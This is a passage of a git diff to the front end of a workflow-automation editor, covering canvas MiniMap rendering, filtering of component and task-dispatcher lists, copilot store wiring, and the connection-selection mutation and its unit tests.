+import {Background, BackgroundVariant, Controls, MiniMap, ReactFlow, useReactFlow} from '@xyflow/react';
 import {DragEventHandler, useCallback, useEffect, useMemo} from 'react';
+import {twMerge} from 'tailwind-merge';
 import {useShallow} from 'zustand/react/shallow';
 
 import LabeledBranchCaseEdge from '../edges/LabeledBranchCaseEdge';
@@ -69,7 +70,7 @@ const WorkflowEditor = ({
             onNodesChange: state.onNodesChange,
         }))
     );
-    const copilotPanelOpen = useCopilotPanelStore((state) => state.copilotPanelOpen);
+    const copilotPanelOpen = useCopilotStore((state) => state.copilotPanelOpen);
     const dataPillPanelOpen = useDataPillPanelStore((state) => state.dataPillPanelOpen);
     const rightSidebarOpen = useRightSidebarStore((state) => state.rightSidebarOpen);
     const workflowNodeDetailsPanelOpen = useWorkflowNodeDetailsPanelStore(
@@ -304,6 +305,15 @@ const WorkflowEditor = ({
                 zoomOnDoubleClick={false}
                 zoomOnScroll={false}
             >
+                {!readOnlyWorkflow && (
+                    <MiniMap
+                        className={twMerge('mb-3 mr-16', rightSidebarOpen && 'absolute right-minimap-placement')}
+                        maskColor={MINIMAP_MASK_COLOR}
+                        nodeBorderRadius={24}
+                        nodeColor={MINIMAP_NODE_COLOR}
+                    />
+                )}
+
                 <Background color={CANVAS_BACKGROUND_COLOR} size={2} variant={BackgroundVariant.Dots} />
 
                 <Controls
diff --git a/client/src/pages/platform/workflow-editor/components/WorkflowExecutionsTestOutput.tsx b/client/src/pages/platform/workflow-editor/components/WorkflowExecutionsTestOutput.tsx
index 319f58f7283..f2bcce55c5a 100644
--- a/client/src/pages/platform/workflow-editor/components/WorkflowExecutionsTestOutput.tsx
+++ b/client/src/pages/platform/workflow-editor/components/WorkflowExecutionsTestOutput.tsx
@@ -13,7 +13,6 @@ import {
 } from '@/shared/components/workflow-executions/WorkflowExecutionsUtils';
 import {TaskExecution, TriggerExecution} from '@/shared/middleware/platform/workflow/execution';
 import {WorkflowTestExecution} from '@/shared/middleware/platform/workflow/test';
-import {TabValueType} from '@/shared/types';
 import {ChevronDownIcon, RefreshCwIcon, RefreshCwOffIcon} from 'lucide-react';
 import {useCallback, useEffect, useMemo, useState} from 'react';
 
@@ -28,7 +27,7 @@ const WorkflowExecutionsTestOutput = ({
     workflowTestExecution?: WorkflowTestExecution;
     onCloseClick?: () => void;
 }) => {
-    const [activeTab, setActiveTab] = useState<TabValueType>('input');
+    const [activeTab, setActiveTab] = useState<'input' | 'output' | 'error'>('input');
     const [dialogOpen, setDialogOpen] = useState(false);
     const [selectedItem, setSelectedItem] = useState<TaskExecution | TriggerExecution | undefined>(
         getInitialSelectedItem(workflowTestExecution)
@@ -38,27 +37,27 @@ const WorkflowExecutionsTestOutput = ({
 
     const job = workflowTestExecution?.job;
     const triggerExecution = workflowTestExecution?.triggerExecution;
-    const currentWorkflowId = job?.workflowId;
 
     useEffect(() => {
         setSelectedItem(getInitialSelectedItem(workflowTestExecution));
         setActiveTab('input');
     }, [workflowTestExecution]);
 
+    // Set workflow execution error in copilot store when an error exists
     useEffect(() => {
         const errorItem = getErrorItem(workflowTestExecution);
 
-        if (errorItem?.error && currentWorkflowId) {
+        if (errorItem?.error) {
             setWorkflowExecutionError({
                 errorMessage: errorItem.error.message,
                 stackTrace: errorItem.error.stackTrace,
                 title: errorItem.title,
-                workflowId: currentWorkflowId,
             });
-        } else if (!errorItem?.error) {
+        } else {
+            // Clear error when workflow succeeds
             setWorkflowExecutionError(undefined);
         }
-    }, [workflowTestExecution, currentWorkflowId, setWorkflowExecutionError]);
+    }, [workflowTestExecution, setWorkflowExecutionError]);
 
     const tasksTree = useMemo(() => (job ? getTasksTree(job) : []), [job]);
 
@@ -75,7 +74,7 @@ const WorkflowExecutionsTestOutput = ({
                 {job ? (
                     <WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />
                 ) : (
-                    <span className="flex w-full items-center gap-x-3 px-3 py-4 text-sm uppercase">Test Output</span>
+                    <span className="text-sm uppercase">Test Output</span>
                 )}
 
                 {onCloseClick && (
@@ -140,7 +139,6 @@ const WorkflowExecutionsTestOutput = ({
                                             <WorkflowExecutionsTabsPanel
                                                 activeTab={activeTab}
                                                 dialogOpen={dialogOpen}
-                                                isEditorEnvironment={true}
                                                 job={job}
                                                 selectedItem={selectedItem}
                                                 setActiveTab={setActiveTab}
diff --git a/client/src/pages/platform/workflow-editor/components/WorkflowNodeDetailsPanel.tsx b/client/src/pages/platform/workflow-editor/components/WorkflowNodeDetailsPanel.tsx
index 86ffab6e44f..b66b405c039 100644
--- a/client/src/pages/platform/workflow-editor/components/WorkflowNodeDetailsPanel.tsx
+++ b/client/src/pages/platform/workflow-editor/components/WorkflowNodeDetailsPanel.tsx
@@ -80,7 +80,6 @@ import useWorkflowDataStore from '../stores/useWorkflowDataStore';
 import useWorkflowEditorStore from '../stores/useWorkflowEditorStore';
 import useWorkflowNodeDetailsPanelStore from '../stores/useWorkflowNodeDetailsPanelStore';
 import getDataPillsFromProperties from '../utils/getDataPillsFromProperties';
-import getOutputSchemaFromWorkflowNodeOutput from '../utils/getOutputSchemaFromWorkflowNodeOutput';
 import getParametersWithDefaultValues from '../utils/getParametersWithDefaultValues';
 import saveClusterElementFieldChange from '../utils/saveClusterElementFieldChange';
 import saveTaskDispatcherSubtaskFieldChange from '../utils/saveTaskDispatcherSubtaskFieldChange';
@@ -145,7 +144,6 @@ const WorkflowNodeDetailsPanel = ({
         setActiveTab,
         setCurrentComponent,
         setCurrentNode,
-        setOperationChangeInProgress,
         workflowNodeDetailsPanelOpen,
     } = useWorkflowNodeDetailsPanelStore(
         useShallow((state) => ({
@@ -155,7 +153,6 @@ const WorkflowNodeDetailsPanel = ({
             setActiveTab: state.setActiveTab,
             setCurrentComponent: state.setCurrentComponent,
             setCurrentNode: state.setCurrentNode,
-            setOperationChangeInProgress: state.setOperationChangeInProgress,
             workflowNodeDetailsPanelOpen: state.workflowNodeDetailsPanelOpen,
         }))
     );
@@ -768,7 +765,8 @@ const WorkflowNodeDetailsPanel = ({
 
         const componentProperties: Array<ComponentPropertiesType> = previousComponentDefinitions.map(
             (componentDefinition, index) => {
-                const outputSchemaDefinition = getOutputSchemaFromWorkflowNodeOutput(workflowNodeOutputs[index]);
+                const outputSchemaDefinition: PropertyAllType | undefined =
+                    workflowNodeOutputs[index]?.outputResponse?.outputSchema;
 
                 const properties = outputSchemaDefinition?.properties?.length
                     ? outputSchemaDefinition.properties
@@ -802,8 +800,6 @@ const WorkflowNodeDetailsPanel = ({
 
             setCurrentOperationName(newOperationName);
 
-            setOperationChangeInProgress(true);
-
             let newOperationDefinition: ActionDefinition | TriggerDefinition | ClusterElementDefinition | undefined;
 
             if (!currentComponentDefinition || !currentComponent) {
@@ -876,6 +872,7 @@ const WorkflowNodeDetailsPanel = ({
                         value: newOperationName,
                     },
                     invalidateWorkflowQueries,
+                    queryClient,
                     updateWorkflowMutation,
                 });
 
@@ -925,8 +922,6 @@ const WorkflowNodeDetailsPanel = ({
                         type: `${componentName}/v${currentComponentDefinition.version}/${newOperationName}`,
                         workflowNodeName,
                     });
-
-                    setOperationChangeInProgress(false);
                 },
                 updateWorkflowMutation,
             });
@@ -950,7 +945,6 @@ const WorkflowNodeDetailsPanel = ({
             currentNodeIndex,
             setCurrentComponent,
             setCurrentNode,
-            setOperationChangeInProgress,
         ]
     );
 
@@ -1277,7 +1271,6 @@ const WorkflowNodeDetailsPanel = ({
 
     return (
         <div
-            aria-label={`${currentNode?.workflowNodeName} component configuration panel`}
             className={twMerge(
                 'absolute bottom-6 right-[69px] top-2 z-10 w-screen max-w-workflow-node-details-panel-width overflow-hidden rounded-md border border-stroke-neutral-secondary bg-background',
                 className
diff --git a/client/src/pages/platform/workflow-editor/components/WorkflowNodesPopoverMenuComponentList.tsx b/client/src/pages/platform/workflow-editor/components/WorkflowNodesPopoverMenuComponentList.tsx
index d774fbf708d..a918bc06cf7 100644
--- a/client/src/pages/platform/workflow-editor/components/WorkflowNodesPopoverMenuComponentList.tsx
+++ b/client/src/pages/platform/workflow-editor/components/WorkflowNodesPopoverMenuComponentList.tsx
@@ -1,17 +1,15 @@
 import {Input} from '@/components/ui/input';
 import WorkflowNodesTabs from '@/pages/platform/workflow-editor/components/workflow-nodes-tabs/WorkflowNodesTabs';
 import useWorkflowDataStore from '@/pages/platform/workflow-editor/stores/useWorkflowDataStore';
-import {TaskDispatcherDefinition} from '@/shared/middleware/platform/configuration';
-import {ComponentDefinitionWithActionsProps} from '@/shared/queries/platform/componentDefinitionsGraphQL.queries';
+import {ComponentDefinitionBasic, TaskDispatcherDefinition} from '@/shared/middleware/platform/configuration';
 import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
 import {ClickedDefinitionType, NodeDataType} from '@/shared/types';
 import {Node} from '@xyflow/react';
-import {memo, useMemo} from 'react';
+import {memo, useEffect, useState} from 'react';
 import {twMerge} from 'tailwind-merge';
 import {useShallow} from 'zustand/react/shallow';
 
 import {convertNameToSnakeCase} from '../../cluster-element-editor/utils/clusterElementsUtils';
-import {useFilteredComponentDefinitions} from '../hooks/useFilteredComponentDefinitions';
 
 interface WorkflowNodesListProps {
     actionPanelOpen: boolean;
@@ -26,18 +24,6 @@ interface WorkflowNodesListProps {
     sourceNodeId?: string;
 }
 
-const hasClusterElementType = (component: ComponentDefinitionWithActionsProps, clusterElementType: string): boolean => {
-    const clusterTypeSnakeCase = convertNameToSnakeCase(clusterElementType);
-
-    const hasClusterElementsCount = component.clusterElementsCount?.[clusterTypeSnakeCase];
-
-    const hasClusterElements = component.clusterElements?.some(
-        (element) => element.type?.name === clusterTypeSnakeCase
-    );
-
-    return !!(hasClusterElementsCount || hasClusterElements);
-};
-
 const WorkflowNodesPopoverMenuComponentList = memo(
     ({
         actionPanelOpen,
@@ -51,6 +37,23 @@ const WorkflowNodesPopoverMenuComponentList = memo(
         selectedComponentName,
         sourceNodeId,
     }: WorkflowNodesListProps) => {
+        const [filter, setFilter] = useState('');
+        const [filteredActionComponentDefinitions, setFilteredActionComponentDefinitions] = useState<
+            Array<ComponentDefinitionBasic>
+        >([]);
+
+        const [filteredTaskDispatcherDefinitions, setFilteredTaskDispatcherDefinitions] = useState<
+            Array<TaskDispatcherDefinition>
+        >([]);
+
+        const [filteredTriggerComponentDefinitions, setFilteredTriggerComponentDefinitions] = useState<
+            Array<ComponentDefinitionBasic>
+        >([]);
+
+        const [filteredClusterElementComponentDefinitions, setFilteredClusterElementComponentDefinitions] = useState<
+            Array<ComponentDefinitionBasic>
+        >([]);
+
         const {componentDefinitions, taskDispatcherDefinitions} = useWorkflowDataStore(
             useShallow((state) => ({
                 componentDefinitions: state.componentDefinitions,
@@ -59,73 +62,64 @@ const WorkflowNodesPopoverMenuComponentList = memo(
         );
         const {nodes} = useWorkflowDataStore(useShallow((state) => ({nodes: state.nodes})));
 
-        const {componentsWithActions, filter, setFilter, trimmedFilter} =
-            useFilteredComponentDefinitions(componentDefinitions);
-
-        const getFeatureFlag = useFeatureFlagsStore();
-
-        const ff_797 = getFeatureFlag('ff-797');
-        const ff_1652 = getFeatureFlag('ff-1652');
-        const ff_3827 = getFeatureFlag('ff-3827');
-        const ff_3839 = getFeatureFlag('ff-3839');
-        const ff_4000 = getFeatureFlag('ff-4000');
-
-        const filteredActionComponentDefinitions = useMemo(() => {
-            if (!componentsWithActions) {
-                return [];
-            }
-
-            let actionComponents = componentsWithActions
-                .filter(({actionsCount}) => actionsCount && actionsCount > 0)
-                .filter(
-                    ({name}) =>
-                        ((!ff_797 && name !== 'dataStream') || ff_797) &&
-                        ((!ff_1652 && name !== 'aiAgent') || ff_1652) &&
-                        ((!ff_4000 && name !== 'knowledgeBase') || ff_4000)
-                );
-
-            if (clusterElementType) {
-                actionComponents = actionComponents.filter((component) =>
-                    hasClusterElementType(component, clusterElementType)
-                );
-            }
-
-            return actionComponents;
-        }, [componentsWithActions, clusterElementType, ff_797, ff_1652, ff_4000]);
+        const ff_797 = useFeatureFlagsStore()('ff-797');
+        const ff_1652 = useFeatureFlagsStore()('ff-1652');
+        const ff_3827 = useFeatureFlagsStore()('ff-3827');
+        const ff_3839 = useFeatureFlagsStore()('ff-3839');
 
-        const filteredTaskDispatcherDefinitions = useMemo(
+        useEffect(
             () =>
-                filterTaskDispatcherDefinitions(taskDispatcherDefinitions, trimmedFilter, edgeId, sourceNodeId, nodes),
-            [taskDispatcherDefinitions, trimmedFilter, edgeId, sourceNodeId, nodes]
+                setFilteredTaskDispatcherDefinitions(
+                    filterTaskDispatcherDefinitions(taskDispatcherDefinitions, filter, edgeId, sourceNodeId, nodes)
+                ),
+            [taskDispatcherDefinitions, filter, sourceNodeId, edgeId, nodes]
         );
 
-        const filteredTriggerComponentDefinitions = useMemo(() => {
-            if (!componentsWithActions) {
-                return [];
-            }
+        useEffect(() => {
+            if (componentDefinitions) {
+                setFilteredActionComponentDefinitions(
+                    componentDefinitions
+                        .filter(
+                            ({actionsCount, name, title}) =>
+                                actionsCount &&
+                                (name?.toLowerCase().includes(filter.toLowerCase()) ||
+                                    title?.toLowerCase().includes(filter.toLowerCase()))
+                        )
+                        .filter(
+                            ({name}) =>
+                                ((!ff_797 && name !== 'dataStream') || ff_797) &&
+                                ((!ff_1652 && name !== 'aiAgent') || ff_1652)
+                        )
+                );
 
-            let triggerComponents = componentsWithActions
-                .filter(({triggersCount}) => triggersCount && triggersCount > 0)
-                .filter(({name}) => (!ff_3827 && name !== 'form') || ff_3827);
+                setFilteredTriggerComponentDefinitions(
+                    componentDefinitions
+                        .filter(({name, title, triggersCount}) => {
+                            const nameIncludes = name?.toLowerCase().includes(filter.toLowerCase());
+                            const titleIncludes = title?.toLowerCase().includes(filter.toLowerCase());
 
-            if (clusterElementType) {
-                triggerComponents = triggerComponents.filter((component) =>
-                    hasClusterElementType(component, clusterElementType)
+                            return triggersCount && (nameIncludes || titleIncludes);
+                        })
+                        .filter(({name}) => (!ff_3827 && name !== 'form') || ff_3827)
                 );
-            }
 
-            return triggerComponents;
-        }, [componentsWithActions, clusterElementType, ff_3827]);
-
-        const filteredClusterElementComponentDefinitions = useMemo(() => {
-            if (!componentsWithActions || !clusterElementType) {
-                return [];
+                if (clusterElementType) {
+                    setFilteredClusterElementComponentDefinitions(
+                        componentDefinitions
+                            .filter(({clusterElementsCount, name, title}) => {
+                                const nameIncludes = name?.toLowerCase().includes(filter.toLowerCase());
+                                const titleIncludes = title?.toLowerCase().includes(filter.toLowerCase());
+
+                                return (
+                                    clusterElementsCount?.[convertNameToSnakeCase(clusterElementType as string)] &&
+                                    (nameIncludes || titleIncludes)
+                                );
+                            })
+                            .filter(({name}) => (!ff_3839 && name !== 'aiAgent') || ff_3839)
+                    );
+                }
             }
-
-            return componentsWithActions
-                .filter((component) => hasClusterElementType(component, clusterElementType))
-                .filter(({name}) => (!ff_3839 && name !== 'aiAgent') || ff_3839);
-        }, [componentsWithActions, clusterElementType, ff_3839]);
+        }, [clusterElementType, componentDefinitions, filter, ff_797, ff_1652, ff_3827, ff_3839]);
 
         return (
             <div className={twMerge('rounded-lg', actionPanelOpen ? 'w-node-popover-width' : 'w-full')}>
@@ -218,6 +212,7 @@ const filterTaskDispatcherDefinitions = (
 
             const currentNodeData = currentNode.data as NodeDataType;
 
+            // If using edgeId (has full data), or using sourceNodeId (has restricted data)
             if (currentNode.data.workflowNodeName) {
                 parentId = currentNodeData.conditionData?.conditionId || currentNodeData.branchData?.branchId;
             } else {
@@ -232,6 +227,7 @@ const filterTaskDispatcherDefinitions = (
 
             if (isLoopSubtask(parentNode)) {
                 hasLoopTaskDispatcher = true;
+
                 break;
             }
 
diff --git a/client/src/pages/platform/workflow-editor/components/WorkflowNodesSidebar.tsx b/client/src/pages/platform/workflow-editor/components/WorkflowNodesSidebar.tsx
index f2d7b6cb7da..e3c39a51f27 100644
--- a/client/src/pages/platform/workflow-editor/components/WorkflowNodesSidebar.tsx
+++ b/client/src/pages/platform/workflow-editor/components/WorkflowNodesSidebar.tsx
@@ -1,8 +1,7 @@
 import {Input} from '@/components/ui/input';
 import {ComponentDefinitionBasic, TaskDispatcherDefinition} from '@/shared/middleware/platform/configuration';
-import {useMemo} from 'react';
+import {useEffect, useState} from 'react';
 
-import {useFilteredComponentDefinitions} from '../hooks/useFilteredComponentDefinitions';
 import WorkflowNodesTabs from './workflow-nodes-tabs/WorkflowNodesTabs';
 
 const WorkflowNodesSidebar = ({
@@ -13,35 +12,49 @@ const WorkflowNodesSidebar = ({
         taskDispatcherDefinitions: Array<TaskDispatcherDefinition>;
     };
 }) => {
-    const {componentsWithActions, filter, setFilter, trimmedFilter} = useFilteredComponentDefinitions(
-        data.componentDefinitions
-    );
+    const [filter, setFilter] = useState('');
 
-    const filteredActionComponentDefinitions = useMemo(
-        () =>
-            componentsWithActions.filter(
-                (componentDefinition) => componentDefinition?.actionsCount && componentDefinition.actionsCount > 0
-            ),
-        [componentsWithActions]
-    );
+    const [filteredActionComponentDefinitions, setFilteredActionComponentDefinitions] = useState<
+        Array<ComponentDefinitionBasic>
+    >([]);
+
+    const [filteredTaskDispatcherDefinitions, setFilteredTaskDispatcherDefinitions] = useState<
+        Array<TaskDispatcherDefinition>
+    >([]);
+
+    const [filteredTriggerComponentDefinitions, setFilteredTriggerComponentDefinitions] = useState<
+        Array<ComponentDefinitionBasic>
+    >([]);
 
-    const filteredTaskDispatcherDefinitions = useMemo(
-        () =>
-            data.taskDispatcherDefinitions.filter(
+    const {componentDefinitions, taskDispatcherDefinitions} = data;
+
+    useEffect(() => {
+        setFilteredActionComponentDefinitions(
+            componentDefinitions.filter(
+                (componentDefinition) =>
+                    componentDefinition?.actionsCount &&
+                    (componentDefinition.name?.toLowerCase().includes(filter.toLowerCase()) ||
+                        componentDefinition?.title?.toLowerCase().includes(filter.toLowerCase()))
+            )
+        );
+
+        setFilteredTaskDispatcherDefinitions(
+            taskDispatcherDefinitions.filter(
                 (taskDispatcherDefinition) =>
-                    taskDispatcherDefinition.name?.toLowerCase().includes(trimmedFilter.toLowerCase()) ||
-                    taskDispatcherDefinition?.title?.toLowerCase().includes(trimmedFilter.toLowerCase())
-            ),
-        [data.taskDispatcherDefinitions, trimmedFilter]
-    );
+                    taskDispatcherDefinition.name?.toLowerCase().includes(filter.toLowerCase()) ||
+                    taskDispatcherDefinition?.title?.toLowerCase().includes(filter.toLowerCase())
+            )
+        );
 
-    const filteredTriggerComponentDefinitions = useMemo(
-        () =>
-            componentsWithActions.filter(
-                (componentDefinition) => componentDefinition?.triggersCount && componentDefinition.triggersCount > 0
-            ),
-        [componentsWithActions]
-    );
+        setFilteredTriggerComponentDefinitions(
+            componentDefinitions.filter(
+                (componentDefinition) =>
+                    componentDefinition?.triggersCount &&
+                    (componentDefinition.name?.toLowerCase().includes(filter.toLowerCase()) ||
+                        componentDefinition?.title?.toLowerCase().includes(filter.toLowerCase()))
+            )
+        );
+    }, [componentDefinitions, filter, taskDispatcherDefinitions]);
 
     return (
         <aside className="absolute inset-y-2 right-14 flex w-96 flex-col overflow-hidden rounded-md border border-stroke-neutral-secondary bg-surface-neutral-secondary pb-4">
diff --git a/client/src/pages/platform/workflow-editor/components/hooks/useClusterElementsCanvasDialog.ts b/client/src/pages/platform/workflow-editor/components/hooks/useClusterElementsCanvasDialog.ts
deleted file mode 100644
index d52e36ea38b..00000000000
--- a/client/src/pages/platform/workflow-editor/components/hooks/useClusterElementsCanvasDialog.ts
+++ /dev/null
@@ -1,65 +0,0 @@
-import {useClusterElementsCanvasDialogStore} from '@/pages/platform/workflow-editor/components/stores/useClusterElementsCanvasDialogStore';
-import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore';
-import {MODE, Source, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
-import {useApplicationInfoStore} from '@/shared/stores/useApplicationInfoStore';
-import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
-import {useCallback} from 'react';
-
-interface UseClusterElementsCanvasDialogProps {
-    onOpenChange: (open: boolean) => void;
-}
-
-export default function useClusterElementsCanvasDialog({onOpenChange}: UseClusterElementsCanvasDialogProps) {
-    const setCopilotPanelOpen = useClusterElementsCanvasDialogStore((state) => state.setCopilotPanelOpen);
-
-    const ai = useApplicationInfoStore((state) => state.ai);
-    const setContext = useCopilotStore((state) => state.setContext);
-
-    const ff_1570 = useFeatureFlagsStore()('ff-1570');
-
-    const copilotEnabled = ai.copilot.enabled && ff_1570;
-
-    const handleCopilotClick = useCallback(() => {
-        const {
-            context: currentContext,
-            generateConversationId,
-            resetMessages,
-            saveConversationState,
-        } = useCopilotStore.getState();
-
-        saveConversationState();
-        resetMessages();
-        generateConversationId();
-
-        setContext({
-            ...currentContext,
-            mode: MODE.ASK,
-            parameters: {},
-            source: Source.WORKFLOW_EDITOR,
-        });
-
-        setCopilotPanelOpen(true);
-    }, [setContext, setCopilotPanelOpen]);
-
-    const handleCopilotClose = useCallback(() => {
-        useCopilotStore.getState().restoreConversationState();
-        setCopilotPanelOpen(false);
-    }, [setCopilotPanelOpen]);
-
-    const handleOpenChange = (isOpen: boolean) => {
-        onOpenChange(isOpen);
-
-        if (!isOpen) {
-            useCopilotStore.getState().restoreConversationState();
-            useClusterElementsCanvasDialogStore.getState().reset();
-            useWorkflowNodeDetailsPanelStore.getState().reset();
-        }
-    };
-
-    return {
-        copilotEnabled,
-        handleCopilotClick,
-        handleCopilotClose,
-        handleOpenChange,
-    };
-}
diff --git a/client/src/pages/platform/workflow-editor/components/node-details-tabs/DescriptionTab.tsx b/client/src/pages/platform/workflow-editor/components/node-details-tabs/DescriptionTab.tsx
index e25670c3de6..59a6b964a8c 100644
--- a/client/src/pages/platform/workflow-editor/components/node-details-tabs/DescriptionTab.tsx
+++ b/client/src/pages/platform/workflow-editor/components/node-details-tabs/DescriptionTab.tsx
@@ -11,6 +11,7 @@ import {
     TriggerDefinition,
 } from '@/shared/middleware/platform/configuration';
 import {UpdateWorkflowMutationType} from '@/shared/types';
+import {useQueryClient} from '@tanstack/react-query';
 import {ChangeEvent} from 'react';
 import {useDebouncedCallback} from 'use-debounce';
 import {useShallow} from 'zustand/react/shallow';
@@ -41,6 +42,8 @@ const DescriptionTab = ({invalidateWorkflowQueries, nodeDefinition, updateWorkfl
         }))
     );
 
+    const queryClient = useQueryClient();
+
     const handleLabelChange = useDebouncedCallback((event: ChangeEvent<HTMLInputElement>) => {
         if (!currentNode) {
             return;
@@ -62,6 +65,7 @@ const DescriptionTab = ({invalidateWorkflowQueries, nodeDefinition, updateWorkfl
                     value: event.target.value,
                 },
                 invalidateWorkflowQueries,
+                queryClient,
                 updateWorkflowMutation,
             });
 
@@ -129,6 +133,7 @@ const DescriptionTab = ({invalidateWorkflowQueries, nodeDefinition, updateWorkfl
                     value: event.target.value,
                 },
                 invalidateWorkflowQueries,
+                queryClient,
                 updateWorkflowMutation,
             });
 
diff --git a/client/src/pages/platform/workflow-editor/components/node-details-tabs/connection-tab/ConnectionTabConnectionSelect.test.tsx b/client/src/pages/platform/workflow-editor/components/node-details-tabs/connection-tab/ConnectionTabConnectionSelect.test.tsx
index c24344b056b..e22027c85a3 100644
--- a/client/src/pages/platform/workflow-editor/components/node-details-tabs/connection-tab/ConnectionTabConnectionSelect.test.tsx
+++ b/client/src/pages/platform/workflow-editor/components/node-details-tabs/connection-tab/ConnectionTabConnectionSelect.test.tsx
@@ -30,18 +30,15 @@ vi.mock('@/shared/stores/useEnvironmentStore', () => ({
 const mockSaveWorkflowTestConfigurationConnectionMutation = vi.fn();
 const mockDeleteWorkflowTestConfigurationConnectionMutation = vi.fn();
 
-vi.mock('@/shared/middleware/graphql', () => ({
-    useSaveWorkflowTestConfigurationConnectionMutation: ({onSuccess}: {onSuccess?: () => void}) => ({
-        mutate: mockSaveWorkflowTestConfigurationConnectionMutation,
-        onSuccess,
-    }),
-}));
-
 vi.mock('@/shared/mutations/platform/workflowTestConfigurations.mutations', () => ({
     useDeleteWorkflowTestConfigurationConnectionMutation: ({onSuccess}: {onSuccess?: () => void}) => ({
         mutate: mockDeleteWorkflowTestConfigurationConnectionMutation,
         onSuccess,
     }),
+    useSaveWorkflowTestConfigurationConnectionMutation: ({onSuccess}: {onSuccess?: () => void}) => ({
+        mutate: mockSaveWorkflowTestConfigurationConnectionMutation,
+        onSuccess,
+    }),
 }));
 
 // Mock queries
@@ -300,8 +297,10 @@ describe('ConnectionTabConnectionSelect', () => {
                     queryKey: ['connections'],
                 });
                 expect(mockSaveWorkflowTestConfigurationConnectionMutation).toHaveBeenCalledWith({
-                    connectionId: 123,
                     environmentId: 1,
+                    saveWorkflowTestConfigurationConnectionRequest: {
+                        connectionId: 123,
+                    },
                     workflowConnectionKey: 'connection_1',
                     workflowId: 'workflow-1',
                     workflowNodeName: 'node-1',
@@ -391,8 +390,10 @@ describe('ConnectionTabConnectionSelect', () => {
 
             await waitFor(() => {
                 expect(mockSaveWorkflowTestConfigurationConnectionMutation).toHaveBeenCalledWith({
-                    connectionId: 123,
                     environmentId: 1,
+                    saveWorkflowTestConfigurationConnectionRequest: {
+                        connectionId: 123,
+                    },
                     workflowConnectionKey: 'connection_1',
                     workflowId: 'workflow-1',
                     workflowNodeName: 'node-1',
@@ -468,8 +469,10 @@ describe('ConnectionTabConnectionSelect', () => {
 
         await waitFor(() => {
             expect(mockSaveWorkflowTestConfigurationConnectionMutation).toHaveBeenCalledWith({
-                connectionId: 1,
                 environmentId: 1,
+                saveWorkflowTestConfigurationConnectionRequest: {
+                    connectionId: 1,
+                },
                 workflowConnectionKey: 'connection_1',
                 workflowId: 'workflow-1',
                 workflowNodeName: 'node-1',
diff --git a/client/src/pages/platform/workflow-editor/components/node-details-tabs/connection-tab/ConnectionTabConnectionSelect.tsx b/client/src/pages/platform/workflow-editor/components/node-details-tabs/connection-tab/ConnectionTabConnectionSelect.tsx
index 863edf09953..1b59f7f8155 100644
--- a/client/src/pages/platform/workflow-editor/components/node-details-tabs/connection-tab/ConnectionTabConnectionSelect.tsx
+++ b/client/src/pages/platform/workflow-editor/components/node-details-tabs/connection-tab/ConnectionTabConnectionSelect.tsx
@@ -7,13 +7,15 @@ import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/s
 import EnvironmentBadge from '@/shared/components/EnvironmentBadge';
 import ConnectionDialog from '@/shared/components/connection/ConnectionDialog';
 import ConnectionParameters from '@/shared/components/connection/ConnectionParameters';
-import {useSaveWorkflowTestConfigurationConnectionMutation} from '@/shared/middleware/graphql';
 import {
     ComponentConnection,
     ComponentDefinition,
     WorkflowTestConfigurationConnection,
 } from '@/shared/middleware/platform/configuration';
-import {useDeleteWorkflowTestConfigurationConnectionMutation} from '@/shared/mutations/platform/workflowTestConfigurations.mutations';
+import {
+    useDeleteWorkflowTestConfigurationConnectionMutation,
+    useSaveWorkflowTestConfigurationConnectionMutation,
+} from '@/shared/mutations/platform/workflowTestConfigurations.mutations';
 import {useGetConnectionDefinitionQuery} from '@/shared/queries/platform/connectionDefinitions.queries';
 import {WorkflowNodeDynamicPropertyKeys} from '@/shared/queries/platform/workflowNodeDynamicProperties.queries';
 import {WorkflowNodeOptionKeys} from '@/shared/queries/platform/workflowNodeOptions.queries';
@@ -118,8 +120,10 @@ const ConnectionTabConnectionSelect = ({
             }
 
             saveWorkflowTestConfigurationConnectionMutation.mutate({
-                connectionId,
                 environmentId: currentEnvironmentId,
+                saveWorkflowTestConfigurationConnectionRequest: {
+                    connectionId,
+                },
                 workflowConnectionKey,
                 workflowId,
                 workflowNodeName: rootClusterElementNodeData?.workflowNodeName || workflowNodeName,
@@ -174,8 +178,8 @@ const ConnectionTabConnectionSelect = ({
             clearedConnectionIdRef.current = connectionId;
 
             deleteWorkflowTestConfigurationConnectionMutation.mutate({
-                deleteWorkflowTestConfigurationConnectionRequest: {connectionId: previousConnectionId},
                 environmentId: currentEnvironmentId,
+                saveWorkflowTestConfigurationConnectionRequest: {connectionId: previousConnectionId},
                 workflowConnectionKey,
                 workflowId,
                 workflowNodeName: rootClusterElementNodeData?.workflowNodeName || workflowNodeName,
diff --git a/client/src/pages/platform/workflow-editor/components/node-details-tabs/output-tab/OutputTabSampleDataDialog.test.tsx b/client/src/pages/platform/workflow-editor/components/node-details-tabs/output-tab/OutputTabSampleDataDialog.test.tsx
deleted file mode 100644
index 90813132353..00000000000
--- a/client/src/pages/platform/workflow-editor/components/node-details-tabs/output-tab/OutputTabSampleDataDialog.test.tsx
+++ /dev/null
@@ -1,216 +0,0 @@
-import {fireEvent, render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import OutputTabSampleDataDialog from './OutputTabSampleDataDialog';
-
-// Mock the lazy-loaded Monaco Editor
-vi.mock('@/shared/components/MonacoEditorWrapper', () => ({
-    default: ({
-        onChange,
-        onMount,
-        value,
-    }: {
-        onChange: (value: string | undefined) => void;
-        onMount: (editor: {focus: () => void}) => void;
-        value: string;
-    }) => {
-        // Call onMount with a mock editor on first render
-        if (onMount) {
-            setTimeout(() => onMount({focus: vi.fn()}), 0);
-        }
-
-        return (
-            <textarea
-                data-testid="mock-monaco-editor"
-                onChange={(event) => onChange(event.target.value)}
-                value={value}
-            />
-        );
-    },
-}));
-
-const mockOnClose = vi.fn();
-const mockOnUpload = vi.fn();
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderDialog = (props: Partial<Parameters<typeof OutputTabSampleDataDialog>[0]> = {}) => {
